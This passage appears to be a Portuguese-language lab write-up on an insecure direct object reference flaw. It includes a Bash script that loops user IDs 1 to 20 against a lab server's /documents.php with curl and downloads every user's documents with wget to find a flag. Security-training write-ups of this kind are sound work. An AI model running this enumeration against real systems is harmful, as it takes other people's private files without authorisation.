# Question-1

Repita o que você aprendeu nesta seção para obter uma lista de documentos dos primeiros 20 UIDs de usuário em /documents.php, um dos quais deve ter um arquivo '.txt' com o sinalizador.



* Página web

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2F1GfyIIxFdzLRPqeRgi1M%2Fimage.png?alt=media&#x26;token=2d040183-4734-4d4b-90af-6042ab7393ae" alt=""><figcaption></figcaption></figure>

* Se olharmos os arquivos vinculados, ou se clicarmos neles para visualizá-los, perceberemos que esses são de fato arquivos diferentes, que parecem ser os documentos pertencentes ao funcionário com `uid=2`:

```html
/documents/Invoice_2_08_2020.pdf
/documents/Report_2_12_2020.pdf
```

* Agora, podemos usar um loop `for`simples para percorrer o `uid`parâmetro e retornar o documento de todos os funcionários e, em seguida, usar o `wget`link para baixar cada documento:

```bash
#!/bin/bash
url="http://94.237.59.63:30650"

for i in {1..20}; do
        for link in $(curl -s -X POST -d "uid=$i" "$url/documents.php" | grep -oP "\/documents.*?\\.\\w+"); do
                wget -q $url/$link
        done
done

```
